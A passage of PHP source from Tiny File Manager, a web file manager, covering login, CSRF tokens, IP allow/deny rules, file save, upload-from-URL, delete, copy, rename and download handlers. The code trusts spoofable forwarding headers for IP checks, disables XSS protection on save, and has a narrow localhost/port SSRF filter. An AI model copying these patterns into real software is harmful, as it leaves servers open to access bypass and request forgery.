$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the
default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR
compliance)
$external = array(
    'css-bootstrap' => '<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi"
crossorigin="anonymous">',
    'css-dropzone' => '<link
href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css"
rel="stylesheet">',
    'css-font-awesome' => '<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
crossorigin="anonymous">',
    'css-highlightjs' => '<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/'
. $highlightjs_style . '.min.css">',
    'js-ace' => '<script
src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3"
crossorigin="anonymous"></script>',
    'js-dropzone' => '<script
src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script
src="https://code.jquery.com/jquery-3.6.1.min.js"
integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ="
crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script
src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js"
crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script
src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link
rel="preconnect" href="https://cdn.jsdelivr.net"
crossorigin/><link rel="dns-prefetch"
href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link
rel="preconnect" href="https://cdnjs.cloudflare.com"
crossorigin/><link rel="dns-prefetch"
href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ?
$cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ?
$cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ?
$cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ?
$cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ?
$cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<')
&& function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue
after page was cached
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] =
bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) &&
($_SERVER['HTTPS'] == 'on' ||
$_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) &&
!empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']]))
{
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url = 
$root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL',
($is_https ? 'https' : 'http') . '://' .
$http_host . (!empty($root_url) ? '/' . $root_url :
''));
defined('FM_SELF_URL') || define('FM_SELF_URL',
($is_https ? 'https' : 'http') . '://' .
$http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER))
{
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR',
$_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER))
{
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' .
$clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction
applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login
form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'],
$auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'],
$_POST['token'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) &&
isset($_POST['fm_pwd']) &&
password_verify($_POST['fm_pwd'],
$auth_users[$_POST['fm_usr']]) &&
verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] =
$_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or
password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP
version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center
h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo
fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin"
action="" method="post"
autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0"
xmlns="http://www.w3.org/2000/svg" M1008 width="100%"
height="80px" viewBox="0 0 238.000000 140.000000"
aria-label="H3K Tiny File Manager">
                                                <g
transform="translate(0.000000,140.000000)
scale(0.100000,-0.100000)" fill="#000000"
stroke="none">
                                                    <path d="M160
700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0
600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0
0 -600z"/>
                                                    <path
fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0
110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0
-3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115
-110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48
-68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640
700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208
110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0
0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0
-600z"/></g>
                                            </svg>
                                        </div>
                                        <div
class="text-center">
                                            <h1
class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr"
class="pb-2"><?php echo lng('Username');
?></label>
                                        <input type="text"
class="form-control" id="fm_usr"
name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd"
class="pb-2"><?php echo lng('Password');
?></label>
                                        <input type="password"
class="form-control" id="fm_pwd"
name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden"
name="token" value="<?php echo
htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit"
class="btn btn-success btn-block w-100 mt-4"
role="button">
                                            <?php echo
lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a
href="https://tinyfilemanager.github.io/"
target="_blank" class="text-decoration-none text-muted"
data-version="<?php echo VERSION; ?>">CCP
Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth &&
isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path =
isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ?
$directories_users[$_SESSION[FM_SESSION_ID]['logged']] :
$root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')."
\"{$root_path}\" ".lng('not found!')."
</h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN',
$show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH',
$root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') ||
define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') ||
define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') ||
define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION,
'7.0.0', '<') ? serialize($exclude_items) :
$exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER',
$online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth &&
!empty($readonly_users) &&
isset($_SESSION[FM_SESSION_ID]['logged']) &&
in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] :
(isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE &&
strpos($input, 'save') != FALSE) ? json_decode($input, true) :
$_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') ||
define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') ||
define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') ||
define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') ||
define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs,
$highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'],
$auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH)
&& isset($_POST['ajax'], $_POST['token'])
&& !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) &&
$_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '':
$_POST['path'];
        $response = scan(fm_clean_path($dir),
$_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type']
== "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' .
$file)) {
            fm_set_msg(lng('File not found'),
'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions /
Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type']
== "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not
found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file
{$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type']
== "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list,
$hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) &&
$_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) &&
$_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) &&
$_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type']
== "pwdhash") {
        $res = isset($_POST['inputPassword2']) &&
!empty($_POST['inputPassword2']) ?
password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) :
'';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type']
== "upload" && !empty($_REQUEST["uploadurl"]))
{
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) &&
preg_match("|^http(s)?://.+$|",
stripslashes($_REQUEST["uploadurl"])) ?
stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if
(preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i",
$domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not
allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)),
".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',',
FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name,
PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is
not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(),
'?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url
parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) &&
!FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path(
$_GET['del'] ) );
    if ($del != '' && $del != '..' &&
$del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').'
<b>%s</b> '.lng('Deleted') :
lng('File').' <b>%s</b>
'.lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder').'
<b>%s</b> '.lng('not deleted') :
lng('File').' <b>%s</b> '.lng('not
deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'),
'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'],
$_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path(
strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) && $new != ''
&& $new != '..' && $new != '.'
&& verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or
die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').'
<b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not
allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').'
<b>%s</b> '.lng('already exists'),
fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').'
<b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) ===
$path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').'
<b>%s</b> '.lng('already exists'),
fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').'
<b>%s</b> '.lng('not created'), fm_enc($new)),
'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder
name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) &&
!FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'),
'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from),
'/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').'
<b>%s</b> '.lng('to').'
<b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already
exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving
from').' <b>%s</b> '.lng('to').'
<b>%s</b>', fm_enc($copy), fm_enc($msg_from)),
'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').'
<b>%s</b> '.lng('to').'
<b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying
from').' <b>%s</b> '.lng('to').'
<b>%s</b>', fm_enc($copy), fm_enc($msg_from)),
'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from),
'/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix =
'.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate =
$fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if
so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count <
$max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate =
$fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b>
to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from
<b>%s</b> to <b>%s</b>', fm_enc($copy),
fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'),
'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'],
$_POST['finish'], $_POST['token']) &&
!FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'),
'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder',
'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' :
'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' :
'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'],
$_POST['token']) && !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != ''
&& $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' .
$new)) {
            fm_set_msg(sprintf(lng('Renamed from').'
<b>%s</b> '. lng('to').'
<b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming
from').' <b>%s</b> '. lng('to').'
<b>%s</b>', fm_enc($old), fm_enc($new)),
'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'),
'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' .
$dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' =>
'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' =>
'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
